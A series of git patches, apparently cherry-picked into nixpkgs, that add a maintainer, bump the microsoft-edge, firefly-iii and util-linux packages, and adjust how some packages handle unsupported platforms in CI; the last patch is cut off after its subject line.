From 500985bb33e636c4134f842acfb14199b94c3eef Mon Sep 17 00:00:00 2001
From: Jon Hermansen <jon@jh86.org>
Date: Thu, 3 Jul 2025 14:16:15 +0000
Subject: [PATCH 2686/4511] maintainers: add jonhermansen

(cherry picked from commit 1b12701e6b4121bb3eb305c337316f83b002eb39)
---
 maintainers/maintainer-list.nix | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index 3d3ef113ab93..6fec3c2603bc 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -12084,6 +12084,13 @@
     githubId = 31407988;
     name = "Jon Bosque";
   };
+  jonhermansen = {
+    name = "Jon Hermansen";
+    email = "jon@jh86.org";
+    matrix = "@jonhermansen:matrix.org";
+    github = "jonhermansen";
+    githubId = 660911;
+  };
   jonnybolton = {
     email = "jonnybolton@gmail.com";
     github = "jonnynightingale";

From 6cf9a8b7dac2555287b816585827f98742689d21 Mon Sep 17 00:00:00 2001
From: Jon Hermansen <jon@jh86.org>
Date: Sat, 19 Jul 2025 13:14:30 -0400
Subject: [PATCH 2687/4511] microsoft-edge: 138.0.3351.83 -> 138.0.3351.95

(cherry picked from commit 731bc9b8b0285f415f18f1ab3a38872a83234830)
---
 pkgs/by-name/mi/microsoft-edge/package.nix | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/mi/microsoft-edge/package.nix b/pkgs/by-name/mi/microsoft-edge/package.nix
index 74c8548b6a20..afce640ebf11 100644
--- a/pkgs/by-name/mi/microsoft-edge/package.nix
+++ b/pkgs/by-name/mi/microsoft-edge/package.nix
@@ -179,11 +179,11 @@ in
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "microsoft-edge";
-  version = "138.0.3351.83";
+  version = "138.0.3351.95";
 
   src = fetchurl {
     url = "https://packages.microsoft.com/repos/edge/pool/main/m/microsoft-edge-stable/microsoft-edge-stable_${finalAttrs.version}-1_amd64.deb";
-    hash = "sha256-NcDw2483l+VmBgr4Ue2vZmFFs3ZdWJvsfsub7stMEOE=";
+    hash = "sha256-Q5TdmqLlRITWDRZwUTMiOOjXQm09Cq+bK6N5XNew6R8=";
   };
 
   # With strictDeps on, some shebangs were not being patched correctly
@@ -293,6 +293,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
       maeve-oake
       leleuvilela
       bricklou
+      jonhermansen
     ];
     platforms = [ "x86_64-linux" ];
     sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ];

From 990934438f772f262ab4aa12d44af428823a6514 Mon Sep 17 00:00:00 2001
From: Chet Gurevitch <chet@gurevitch.net>
Date: Thu, 5 Jun 2025 18:58:04 -0700
Subject: [PATCH 2688/4511] util-linux: restrict X-mount.subdir to real mounts

Fixes errors in stage-1 as well as from systemd-remount-fs for systems
using X-mount.subdir for root

(cherry picked from commit 5d8f5a0f8ec1c514787fb613b87e98d793cb6ca8)
---
 .../libmount-subdir-remove-unused-code.patch  | 31 +++++++
 ...subdir-restrict-for-real-mounts-only.patch | 80 +++++++++++++++++++
 pkgs/by-name/ut/util-linux/package.nix        |  3 +
 3 files changed, 114 insertions(+)
 create mode 100644 pkgs/by-name/ut/util-linux/libmount-subdir-remove-unused-code.patch
 create mode 100644 pkgs/by-name/ut/util-linux/libmount-subdir-restrict-for-real-mounts-only.patch

diff --git a/pkgs/by-name/ut/util-linux/libmount-subdir-remove-unused-code.patch b/pkgs/by-name/ut/util-linux/libmount-subdir-remove-unused-code.patch
new file mode 100644
index 000000000000..557924570c84
--- /dev/null
+++ b/pkgs/by-name/ut/util-linux/libmount-subdir-remove-unused-code.patch
@@ -0,0 +1,31 @@
+From cfb80587da7bf3d6a8eeb9b846702d6d731aa1c6 Mon Sep 17 00:00:00 2001
+From: Karel Zak <kzak@redhat.com>
+Date: Wed, 9 Apr 2025 11:32:08 +0200
+Subject: [PATCH] libmount: (subdir) remove unused code
+
+The optlist already handles quoted values, so there's no need to do it
+in the callers.
+
+Signed-off-by: Karel Zak <kzak@redhat.com>
+(cherry picked from commit 5462fa3435544344727b8644205ae427dfd5fcba)
+---
+ libmount/src/hook_subdir.c | 3 ---
+ 1 file changed, 3 deletions(-)
+
+diff --git a/libmount/src/hook_subdir.c b/libmount/src/hook_subdir.c
+index 5949af7d8..1e5d79958 100644
+--- a/libmount/src/hook_subdir.c
++++ b/libmount/src/hook_subdir.c
+@@ -329,9 +329,6 @@ static int is_subdir_required(struct libmnt_context *cxt, int *rc, char **subdir
+ 
+ 	dir = mnt_opt_get_value(opt);
+ 
+-	if (dir && *dir == '"')
+-		dir++;
+-
+ 	if (!dir || !*dir) {
+ 		DBG(HOOK, ul_debug("failed to parse X-mount.subdir '%s'", dir));
+ 		*rc = -MNT_ERR_MOUNTOPT;
+-- 
+2.49.0
+
diff --git a/pkgs/by-name/ut/util-linux/libmount-subdir-restrict-for-real-mounts-only.patch b/pkgs/by-name/ut/util-linux/libmount-subdir-restrict-for-real-mounts-only.patch
new file mode 100644
index 000000000000..d96a303a9cc4
--- /dev/null
+++ b/pkgs/by-name/ut/util-linux/libmount-subdir-restrict-for-real-mounts-only.patch
@@ -0,0 +1,80 @@
+From 22b91501d30a65d25ecf48ce5169ec70848117b8 Mon Sep 17 00:00:00 2001
+From: Karel Zak <kzak@redhat.com>
+Date: Wed, 9 Apr 2025 12:15:57 +0200
+Subject: [PATCH] libmount: (subdir) restrict for real mounts only
+
+It's now possible to use, for example, for bind operations, but it
+does not make sense as you can specify the target with the
+subdirectory.
+
+Signed-off-by: Karel Zak <kzak@redhat.com>
+(cherry picked from commit 437a271f7108f689d350f1b3d837490d3d283c3c)
+---
+ libmount/src/hook_subdir.c | 21 ++++++++++++++++-----
+ sys-utils/mount.8.adoc     |  6 ++++--
+ 2 files changed, 20 insertions(+), 7 deletions(-)
+
+diff --git a/libmount/src/hook_subdir.c b/libmount/src/hook_subdir.c
+index 1e5d79958..7cbb2c88d 100644
+--- a/libmount/src/hook_subdir.c
++++ b/libmount/src/hook_subdir.c
+@@ -313,6 +313,7 @@ static int is_subdir_required(struct libmnt_context *cxt, int *rc, char **subdir
+ 	struct libmnt_optlist *ol;
+ 	struct libmnt_opt *opt;
+ 	const char *dir = NULL;
++	unsigned long flags = 0;
+ 
+ 	assert(cxt);
+ 	assert(rc);
+@@ -328,16 +329,26 @@ static int is_subdir_required(struct libmnt_context *cxt, int *rc, char **subdir
+ 		return 0;
+ 
+ 	dir = mnt_opt_get_value(opt);
+-
+ 	if (!dir || !*dir) {
+ 		DBG(HOOK, ul_debug("failed to parse X-mount.subdir '%s'", dir));
+ 		*rc = -MNT_ERR_MOUNTOPT;
+-	} else {
+-		*subdir = strdup(dir);
+-		if (!*subdir)
+-			*rc = -ENOMEM;
++		return 0;
++	}
++
++	*rc = mnt_optlist_get_flags(ol, &flags, cxt->map_linux, 0);
++	if (*rc)
++		return 0;
++
++	if (flags & MS_REMOUNT || flags & MS_BIND || flags & MS_MOVE
++	    || mnt_context_propagation_only(cxt)) {
++		DBG(HOOK, ul_debug("ignore subdir= (bind/move/remount/..)"));
++		return 0;
+ 	}
+ 
++	*subdir = strdup(dir);
++	if (!*subdir)
++		*rc = -ENOMEM;
++
+ 	return *rc == 0;
+ }
+ 
+diff --git a/sys-utils/mount.8.adoc b/sys-utils/mount.8.adoc
+index 6a17cd5eb..d9ce31fd4 100644
+--- a/sys-utils/mount.8.adoc
++++ b/sys-utils/mount.8.adoc
+@@ -763,8 +763,10 @@ Note that *mount*(8) still sanitizes and canonicalizes the source and target pat
+ *X-mount.noloop*::
+ Do not create and mount a loop device, even if the source of the mount is a regular file.
+ 
+-*X-mount.subdir=*__directory__::
+-Allow mounting sub-directory from a filesystem instead of the root directory. For now, this feature is implemented by temporary filesystem root directory mount in unshared namespace and then bind the sub-directory to the final mount point and umount the root of the filesystem. The sub-directory mount shows up atomically for the rest of the system although it is implemented by multiple *mount*(2) syscalls.
++**X-mount.subdir=**_directory_::
++Allow mounting a subdirectory of a filesystem instead of the root directory. This is effective only when a new instance of a filesystem is attached to the system. The option is silently ignored for operations like remount, bind mount, or move.
+++
++For now, this feature is implemented by a temporary filesystem root-directory mount in an unshared namespace and then binding the sub-directory to the final mount point and unmounting the root of the filesystem. The sub-directory mount shows up atomically for the rest of the system although it is implemented by multiple *mount*(2) syscalls.
+ +
+ Note that this feature will not work in session with an unshared private mount namespace (after *unshare --mount*) on old kernels or with *mount*(8) without support for file-descriptors-based mount kernel API. In this case, you need *unshare --mount --propagation shared*.
+ +
+-- 
+2.49.0
+
diff --git a/pkgs/by-name/ut/util-linux/package.nix b/pkgs/by-name/ut/util-linux/package.nix
index 92b7785d53f0..d93f0deb29a2 100644
--- a/pkgs/by-name/ut/util-linux/package.nix
+++ b/pkgs/by-name/ut/util-linux/package.nix
@@ -50,6 +50,9 @@ stdenv.mkDerivation (finalPackage: rec {
       ./fix-darwin-build.patch
       # https://github.com/util-linux/util-linux/pull/3479 (fixes https://github.com/util-linux/util-linux/issues/3474)
       ./fix-mount-regression.patch
+      # https://github.com/util-linux/util-linux/pull/3530
+      ./libmount-subdir-remove-unused-code.patch
+      ./libmount-subdir-restrict-for-real-mounts-only.patch
     ]
     ++ lib.optionals (!stdenv.hostPlatform.isLinux) [
       (fetchurl {

From 636cdc21376b8d295a9ae67eb162cd8aa5b80e59 Mon Sep 17 00:00:00 2001
From: Morgan Jones <me@numin.it>
Date: Thu, 3 Jul 2025 01:34:23 -0700
Subject: [PATCH 2689/4511] util-linux: 2.41 -> 2.41.1

Drop most of our patches, since they were fixed:

libmount:
    - (subdir) restrict for real mounts only (by Karel Zak)
    - (subdir) remove unused code (by Karel Zak)
    - fix --no-canonicalize regression (by Karel Zak)

libuuid:
    - fix uuid_time on macOS without attribute((alias)) (by Eugene Gershnik)

https://lore.kernel.org/util-linux/wnfaquaapqknjnu2bdvddkp2xbleowfcr2g3cqiewpl54oclmi@mrseflcu5nyk/T/#u
(cherry picked from commit e6b8ad33ff67c8dfd87d64876babd0c6db2e05f4)
---
 .../ut/util-linux/fix-darwin-build.patch      | 35 --------
 .../ut/util-linux/fix-mount-regression.patch  | 39 ---------
 .../libmount-subdir-remove-unused-code.patch  | 31 -------
 ...subdir-restrict-for-real-mounts-only.patch | 80 -------------------
 pkgs/by-name/ut/util-linux/package.nix        | 11 +--
 5 files changed, 2 insertions(+), 194 deletions(-)
 delete mode 100644 pkgs/by-name/ut/util-linux/fix-darwin-build.patch
 delete mode 100644 pkgs/by-name/ut/util-linux/fix-mount-regression.patch
 delete mode 100644 pkgs/by-name/ut/util-linux/libmount-subdir-remove-unused-code.patch
 delete mode 100644 pkgs/by-name/ut/util-linux/libmount-subdir-restrict-for-real-mounts-only.patch

diff --git a/pkgs/by-name/ut/util-linux/fix-darwin-build.patch b/pkgs/by-name/ut/util-linux/fix-darwin-build.patch
deleted file mode 100644
index c65266e88690..000000000000
--- a/pkgs/by-name/ut/util-linux/fix-darwin-build.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From e47c6f751a7ef87640c61316ada774e8e9cc6b07 Mon Sep 17 00:00:00 2001
-From: Eugene Gershnik <gershnik@users.noreply.github.com>
-Date: Mon, 6 May 2024 09:29:39 -0700
-Subject: [PATCH] libuuid: fix uuid_time on macOS without attribute((alias))
-
-Weak aliases are not supported by clang on Darwin.
-Instead this fix uses inline asm to make `_uuid_time` an alias to
-`___uuid_time`
-
-It appears that on macOS the time API is purely 32 or 64 bit depending
-on the build type. There is no ABI issue on that platform and `uuid_time`
-can be unconditionally aliased to `_uuid_time`. This is all conjectural,
-however, since I have no ability to make 32-bit builds for macOS - the
-Apple toolchain doesn't support this since 2019.
-
-Fixes util-linux/util-linux#2873
----
- libuuid/src/uuid_time.c | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/libuuid/src/uuid_time.c b/libuuid/src/uuid_time.c
-index 9b415b3ee73..df0478e1909 100644
---- a/libuuid/src/uuid_time.c
-+++ b/libuuid/src/uuid_time.c
-@@ -85,6 +85,10 @@ time_t __uuid_time(const uuid_t uu, struct timeval *ret_tv)
- }
- #if defined(__USE_TIME_BITS64) && defined(__GLIBC__)
- extern time_t uuid_time64(const uuid_t uu, struct timeval *ret_tv) __attribute__((weak, alias("__uuid_time")));
-+#elif defined(__clang__) && defined(__APPLE__)
-+__asm__(".globl _uuid_time");
-+__asm__(".set _uuid_time, ___uuid_time");
-+extern time_t uuid_time(const uuid_t uu, struct timeval *ret_tv);
- #else
- extern time_t uuid_time(const uuid_t uu, struct timeval *ret_tv) __attribute__((weak, alias("__uuid_time")));
- #endif
diff --git a/pkgs/by-name/ut/util-linux/fix-mount-regression.patch b/pkgs/by-name/ut/util-linux/fix-mount-regression.patch
deleted file mode 100644
index 973ba7493e7d..000000000000
--- a/pkgs/by-name/ut/util-linux/fix-mount-regression.patch
+++ /dev/null
@@ -1,39 +0,0 @@
-From 7dbfe31a83f45d5aef2b508697e9511c569ffbc8 Mon Sep 17 00:00:00 2001
-From: Karel Zak <kzak@redhat.com>
-Date: Mon, 24 Mar 2025 14:31:05 +0100
-Subject: [PATCH] libmount: fix --no-canonicalize regression
-
-Fixes: https://github.com/util-linux/util-linux/issues/3474
-Signed-off-by: Karel Zak <kzak@redhat.com>
----
- libmount/src/context.c | 3 ---
- sys-utils/mount.8.adoc | 2 +-
- 2 files changed, 1 insertion(+), 4 deletions(-)
-
-diff --git a/libmount/src/context.c b/libmount/src/context.c
-index 0323cb23d34..15a8ad3bbd0 100644
---- a/libmount/src/context.c
-+++ b/libmount/src/context.c
-@@ -530,9 +530,6 @@ int mnt_context_is_xnocanonicalize(
- 	assert(cxt);
- 	assert(type);
- 
--	if (mnt_context_is_nocanonicalize(cxt))
--		return 1;
--
- 	ol = mnt_context_get_optlist(cxt);
- 	if (!ol)
- 		return 0;
-diff --git a/sys-utils/mount.8.adoc b/sys-utils/mount.8.adoc
-index 4f23f8d1f0e..5103b91c578 100644
---- a/sys-utils/mount.8.adoc
-+++ b/sys-utils/mount.8.adoc
-@@ -756,7 +756,7 @@ Allow to make a target directory (mountpoint) if it does not exist yet. The opti
- *X-mount.nocanonicalize*[**=**_type_]::
- Allows disabling of canonicalization for mount source and target paths. By default, the `mount` command resolves all paths to their absolute paths without symlinks. However, this behavior may not be desired in certain situations, such as when binding a mount over a symlink, or a symlink over a directory or another symlink. The optional argument _type_ can be either "source" or "target" (mountpoint). If no _type_ is specified, then canonicalization is disabled for both types. This mount option does not affect the conversion of source tags (e.g. LABEL= or UUID=) and fstab processing.
- +
--The command line option *--no-canonicalize* overrides this mount option and affects all path and tag conversions in all situations, but it does not modify flags for open_tree syscalls.
-+The command-line option *--no-canonicalize* overrides this mount option and affects all path and tag conversions in all situations, but for backward compatibility, it does not modify open_tree syscall flags and does not allow the bind-mount over a symlink use case.
- +
- Note that *mount*(8) still sanitizes and canonicalizes the source and target paths specified on the command line by non-root users, regardless of the X-mount.nocanonicalize setting.
- 
diff --git a/pkgs/by-name/ut/util-linux/libmount-subdir-remove-unused-code.patch b/pkgs/by-name/ut/util-linux/libmount-subdir-remove-unused-code.patch
deleted file mode 100644
index 557924570c84..000000000000
--- a/pkgs/by-name/ut/util-linux/libmount-subdir-remove-unused-code.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From cfb80587da7bf3d6a8eeb9b846702d6d731aa1c6 Mon Sep 17 00:00:00 2001
-From: Karel Zak <kzak@redhat.com>
-Date: Wed, 9 Apr 2025 11:32:08 +0200
-Subject: [PATCH] libmount: (subdir) remove unused code
-
-The optlist already handles quoted values, so there's no need to do it
-in the callers.
-
-Signed-off-by: Karel Zak <kzak@redhat.com>
-(cherry picked from commit 5462fa3435544344727b8644205ae427dfd5fcba)
----
- libmount/src/hook_subdir.c | 3 ---
- 1 file changed, 3 deletions(-)
-
-diff --git a/libmount/src/hook_subdir.c b/libmount/src/hook_subdir.c
-index 5949af7d8..1e5d79958 100644
---- a/libmount/src/hook_subdir.c
-+++ b/libmount/src/hook_subdir.c
-@@ -329,9 +329,6 @@ static int is_subdir_required(struct libmnt_context *cxt, int *rc, char **subdir
- 
- 	dir = mnt_opt_get_value(opt);
- 
--	if (dir && *dir == '"')
--		dir++;
--
- 	if (!dir || !*dir) {
- 		DBG(HOOK, ul_debug("failed to parse X-mount.subdir '%s'", dir));
- 		*rc = -MNT_ERR_MOUNTOPT;
--- 
-2.49.0
-
diff --git a/pkgs/by-name/ut/util-linux/libmount-subdir-restrict-for-real-mounts-only.patch b/pkgs/by-name/ut/util-linux/libmount-subdir-restrict-for-real-mounts-only.patch
deleted file mode 100644
index d96a303a9cc4..000000000000
--- a/pkgs/by-name/ut/util-linux/libmount-subdir-restrict-for-real-mounts-only.patch
+++ /dev/null
@@ -1,80 +0,0 @@
-From 22b91501d30a65d25ecf48ce5169ec70848117b8 Mon Sep 17 00:00:00 2001
-From: Karel Zak <kzak@redhat.com>
-Date: Wed, 9 Apr 2025 12:15:57 +0200
-Subject: [PATCH] libmount: (subdir) restrict for real mounts only
-
-It's now possible to use, for example, for bind operations, but it
-does not make sense as you can specify the target with the
-subdirectory.
-
-Signed-off-by: Karel Zak <kzak@redhat.com>
-(cherry picked from commit 437a271f7108f689d350f1b3d837490d3d283c3c)
----
- libmount/src/hook_subdir.c | 21 ++++++++++++++++-----
- sys-utils/mount.8.adoc     |  6 ++++--
- 2 files changed, 20 insertions(+), 7 deletions(-)
-
-diff --git a/libmount/src/hook_subdir.c b/libmount/src/hook_subdir.c
-index 1e5d79958..7cbb2c88d 100644
---- a/libmount/src/hook_subdir.c
-+++ b/libmount/src/hook_subdir.c
-@@ -313,6 +313,7 @@ static int is_subdir_required(struct libmnt_context *cxt, int *rc, char **subdir
- 	struct libmnt_optlist *ol;
- 	struct libmnt_opt *opt;
- 	const char *dir = NULL;
-+	unsigned long flags = 0;
- 
- 	assert(cxt);
- 	assert(rc);
-@@ -328,16 +329,26 @@ static int is_subdir_required(struct libmnt_context *cxt, int *rc, char **subdir
- 		return 0;
- 
- 	dir = mnt_opt_get_value(opt);
--
- 	if (!dir || !*dir) {
- 		DBG(HOOK, ul_debug("failed to parse X-mount.subdir '%s'", dir));
- 		*rc = -MNT_ERR_MOUNTOPT;
--	} else {
--		*subdir = strdup(dir);
--		if (!*subdir)
--			*rc = -ENOMEM;
-+		return 0;
-+	}
-+
-+	*rc = mnt_optlist_get_flags(ol, &flags, cxt->map_linux, 0);
-+	if (*rc)
-+		return 0;
-+
-+	if (flags & MS_REMOUNT || flags & MS_BIND || flags & MS_MOVE
-+	    || mnt_context_propagation_only(cxt)) {
-+		DBG(HOOK, ul_debug("ignore subdir= (bind/move/remount/..)"));
-+		return 0;
- 	}
- 
-+	*subdir = strdup(dir);
-+	if (!*subdir)
-+		*rc = -ENOMEM;
-+
- 	return *rc == 0;
- }
- 
-diff --git a/sys-utils/mount.8.adoc b/sys-utils/mount.8.adoc
-index 6a17cd5eb..d9ce31fd4 100644
---- a/sys-utils/mount.8.adoc
-+++ b/sys-utils/mount.8.adoc
-@@ -763,8 +763,10 @@ Note that *mount*(8) still sanitizes and canonicalizes the source and target pat
- *X-mount.noloop*::
- Do not create and mount a loop device, even if the source of the mount is a regular file.
- 
--*X-mount.subdir=*__directory__::
--Allow mounting sub-directory from a filesystem instead of the root directory. For now, this feature is implemented by temporary filesystem root directory mount in unshared namespace and then bind the sub-directory to the final mount point and umount the root of the filesystem. The sub-directory mount shows up atomically for the rest of the system although it is implemented by multiple *mount*(2) syscalls.
-+**X-mount.subdir=**_directory_::
-+Allow mounting a subdirectory of a filesystem instead of the root directory. This is effective only when a new instance of a filesystem is attached to the system. The option is silently ignored for operations like remount, bind mount, or move.
-++
-+For now, this feature is implemented by a temporary filesystem root-directory mount in an unshared namespace and then binding the sub-directory to the final mount point and unmounting the root of the filesystem. The sub-directory mount shows up atomically for the rest of the system although it is implemented by multiple *mount*(2) syscalls.
- +
- Note that this feature will not work in session with an unshared private mount namespace (after *unshare --mount*) on old kernels or with *mount*(8) without support for file-descriptors-based mount kernel API. In this case, you need *unshare --mount --propagation shared*.
- +
--- 
-2.49.0
-
diff --git a/pkgs/by-name/ut/util-linux/package.nix b/pkgs/by-name/ut/util-linux/package.nix
index d93f0deb29a2..b11fcc6b81df 100644
--- a/pkgs/by-name/ut/util-linux/package.nix
+++ b/pkgs/by-name/ut/util-linux/package.nix
@@ -36,23 +36,16 @@ let
 in
 stdenv.mkDerivation (finalPackage: rec {
   pname = "util-linux" + lib.optionalString isMinimal "-minimal";
-  version = "2.41";
+  version = "2.41.1";
 
   src = fetchurl {
     url = "mirror://kernel/linux/utils/util-linux/v${lib.versions.majorMinor version}/util-linux-${version}.tar.xz";
-    hash = "sha256-ge6Ts8/f6318QJDO3rode7zpFB/QtQG2hrP+R13cpMY=";
+    hash = "sha256-vprZonb0MFq33S9SJci+H/VDUvVl/03t6WKMGqp97Fc=";
   };
 
   patches =
     [
       ./rtcwake-search-PATH-for-shutdown.patch
-      # https://github.com/util-linux/util-linux/pull/3013
-      ./fix-darwin-build.patch
-      # https://github.com/util-linux/util-linux/pull/3479 (fixes https://github.com/util-linux/util-linux/issues/3474)
-      ./fix-mount-regression.patch
-      # https://github.com/util-linux/util-linux/pull/3530
-      ./libmount-subdir-remove-unused-code.patch
-      ./libmount-subdir-restrict-for-real-mounts-only.patch
     ]
     ++ lib.optionals (!stdenv.hostPlatform.isLinux) [
       (fetchurl {

From 055bf56d6fc9ce6625bd837d83c60648695fe482 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 21 Jul 2025 08:44:56 +0000
Subject: [PATCH 2690/4511] firefly-iii: 6.2.20 -> 6.2.21

(cherry picked from commit 30b4bfda630908e8964df24a680c30d0e992318a)
---
 pkgs/by-name/fi/firefly-iii/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/fi/firefly-iii/package.nix b/pkgs/by-name/fi/firefly-iii/package.nix
index 8aee6939f586..07c086943366 100644
--- a/pkgs/by-name/fi/firefly-iii/package.nix
+++ b/pkgs/by-name/fi/firefly-iii/package.nix
@@ -13,13 +13,13 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "firefly-iii";
-  version = "6.2.20";
+  version = "6.2.21";
 
   src = fetchFromGitHub {
     owner = "firefly-iii";
     repo = "firefly-iii";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-3AFbzalyrdQxPEBuQwJydydh8YaIN9m5XfT2h6Rcd/Y=";
+    hash = "sha256-zyaur3CjSZ8Or2E0rQKubQ440xjwwzJE7i6QXfmn5vk=";
   };
 
   buildInputs = [ php84 ];
@@ -38,13 +38,13 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     composerNoScripts = true;
     composerStrictValidation = true;
     strictDeps = true;
-    vendorHash = "sha256-1tgNR1WXFymIqmTgFRPOvvuondVolT9uil0HDMTEL8Q=";
+    vendorHash = "sha256-mo2oHmFtuY62AcT+ti/zPxxS39a6Qb0cPStyyvyVCag=";
   };
 
   npmDeps = fetchNpmDeps {
     inherit (finalAttrs) src;
     name = "${finalAttrs.pname}-npm-deps";
-    hash = "sha256-FHJVaAWBxZ6IsGT5Sqrfv3yCJC0DPX1SrrLFD70TAFY=";
+    hash = "sha256-T8Kv4vbr5n+tVQntFEaNozvSu6CKJCA3V256Ml7yzHA=";
   };
 
   preInstall = ''

From d4ccf7fb7b481f8420ef66ed927da1cc8dcb438c Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 21 Jul 2025 22:48:23 +0200
Subject: [PATCH 2691/4511] opensmalltalk-vm: don't throw without aliases

CI needs ugly workarounds to catch a `throw` on unsupported platforms.
If aliases are disabled, as is the case in CI, we simply return `null`
for this leaf package. This will ignore it for CI purposes, while still
giving a proper error message for end users.

(cherry picked from commit 7c77a0fa4f3c8576a6a396339a724586a45f55c5)
---
 .../compilers/opensmalltalk-vm/default.nix          | 13 +++++++++----
 1 file changed, 9 insertions(+), 4 deletions(-)

diff --git a/pkgs/development/compilers/opensmalltalk-vm/default.nix b/pkgs/development/compilers/opensmalltalk-vm/default.nix
index e84ec1175514..7617b7ce877b 100644
--- a/pkgs/development/compilers/opensmalltalk-vm/default.nix
+++ b/pkgs/development/compilers/opensmalltalk-vm/default.nix
@@ -1,4 +1,5 @@
 {
+  config,
   stdenv,
   lib,
   fetchFromGitHub,
@@ -190,7 +191,11 @@ let
 
   platform = stdenv.targetPlatform.system;
 in
-vmsByPlatform.${platform} or (throw (
-  "Unsupported platform ${platform}: only the following platforms are supported: "
-  + builtins.toString (builtins.attrNames vmsByPlatform)
-))
+if (!config.allowAliases && !(vmsByPlatform ? platform)) then
+  # Don't throw without aliases to not break CI.
+  null
+else
+  vmsByPlatform.${platform} or (throw (
+    "Unsupported platform ${platform}: only the following platforms are supported: "
+    + builtins.toString (builtins.attrNames vmsByPlatform)
+  ))

From dcb8466e81a09ad06f392f41017581c5d8b4da6a Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 21 Jul 2025 19:23:43 +0200
Subject: [PATCH 2692/4511] tests-stdenv-gcc-stageCompare: delay asserts

The removed assert is covered by `meta.platforms = linux`, which will
throw an "unsupported system" error on darwin. Since the platforms are
restricted to linux anyway, it doesn't make sense to have this set to
`all` in `release-small.nix` - `linux` should suffice. Right?

The other assert is delayed until after the evaluation of `meta`. This
allows the "unsupported system" error on darwin to be thrown at all,
without triggering the assert before. This helps CI, which can't catch
asserts properly, but can do so with `meta.platforms` based errors.

(cherry picked from commit 3ea96163ccdc1a954000fd5cd35241cf4c1883e0)
---
 pkgs/test/stdenv/gcc-stageCompare.nix | 24 +++++++++++++++++-------
 pkgs/top-level/release-small.nix      |  2 +-
 2 files changed, 18 insertions(+), 8 deletions(-)

diff --git a/pkgs/test/stdenv/gcc-stageCompare.nix b/pkgs/test/stdenv/gcc-stageCompare.nix
index 091577a43383..133797f5999a 100644
--- a/pkgs/test/stdenv/gcc-stageCompare.nix
+++ b/pkgs/test/stdenv/gcc-stageCompare.nix
@@ -14,8 +14,6 @@
   lib,
 }:
 
-assert stdenv.cc.isGNU;
-
 with pkgs;
 # rebuild gcc using the "final" stdenv
 let
@@ -31,11 +29,23 @@ let
         NIX_OUTPATH_USED_AS_RANDOM_SEED = stdenv.cc.cc.out;
       });
 in
-assert lib.assertMsg (gcc-stageCompare ? checksum)
-  "tests-stdenv-gcc-stageCompare: No `checksum` output in `gcc-stageCompare` see conditional in `gcc/common/checksum.nix`";
-(runCommand "gcc-stageCompare" { } ''
-  diff -sr ${pkgs.gcc-unwrapped.checksum}/checksums ${gcc-stageCompare.checksum}/checksums && touch $out
-'').overrideAttrs
+
+(runCommand "gcc-stageCompare"
+  {
+    checksumCompare =
+      assert lib.assertMsg (gcc-stageCompare ? checksum)
+        "tests-stdenv-gcc-stageCompare: No `checksum` output in `gcc-stageCompare` see conditional in `gcc/common/checksum.nix`";
+      gcc-stageCompare.checksum;
+
+    checksumUnwrapped =
+      assert lib.assertMsg (pkgs.gcc-unwrapped ? checksum)
+        "tests-stdenv-gcc-stageCompare: No `checksum` output in `gcc-stageCompare` see conditional in `gcc/common/checksum.nix`";
+      pkgs.gcc-unwrapped.checksum;
+  }
+  ''
+    diff -sr "$checksumUnwrapped"/checksums "$checksumCompare"/checksums && touch $out
+  ''
+).overrideAttrs
   (a: {
     meta = (a.meta or { }) // {
       platforms = lib.platforms.linux;
diff --git a/pkgs/top-level/release-small.nix b/pkgs/top-level/release-small.nix
index 511cef6a0d8a..04cc8e6edd8f 100644
--- a/pkgs/top-level/release-small.nix
+++ b/pkgs/top-level/release-small.nix
@@ -175,5 +175,5 @@ in
   xfsprogs = linux;
   xkeyboard_config = linux;
   zip = all;
-  tests-stdenv-gcc-stageCompare = all;
+  tests-stdenv-gcc-stageCompare = linux;
 }))

From 2eaa9df17cff423b9b3df6ddaa8da477f83c528d Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 21 Jul 2025 18:55:40 +0200
Subject: [PATCH 2693/4511] tracy-wayland: drop darwin as supported platform

Wayland support is only possible on Linux. Instead of the assert, which
can't be caught by CI properly, do this via the list of supported
platforms in meta.platforms. This works much better for CI.

I did not touch the `withGtkFileSelector` assert, because it doesn't
trigger in CI - it only does when overriding this argument manually.

(cherry picked from commit ec9a3de2c1d2398805e2d5edda4ab5ddf3a9d4c2)
---
 pkgs/by-name/tr/tracy/package.nix | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/pkgs/by-name/tr/tracy/package.nix b/pkgs/by-name/tr/tracy/package.nix
index 2fcf417165a0..1392f50d16ed 100644
--- a/pkgs/by-name/tr/tracy/package.nix
+++ b/pkgs/by-name/tr/tracy/package.nix
@@ -25,7 +25,6 @@
 }:
 
 assert withGtkFileSelector -> stdenv.hostPlatform.isLinux;
-assert withWayland -> stdenv.hostPlatform.isLinux;
 
 stdenv.mkDerivation rec {
   pname = if withWayland then "tracy-wayland" else "tracy-glfw";
@@ -131,6 +130,6 @@ stdenv.mkDerivation rec {
       nagisa
       paveloom
     ];
-    platforms = platforms.linux ++ platforms.darwin;
+    platforms = platforms.linux ++ lib.optionals (!withWayland) platforms.darwin;
   };
 }

From 9ba4911de97ef6fd3a3d8e51e1909e5b3cf5e567 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 21 Jul 2025 18:44:24 +0200
Subject: [PATCH 2694/4511] pcscliteWithPolkit: mark as broken on darwin

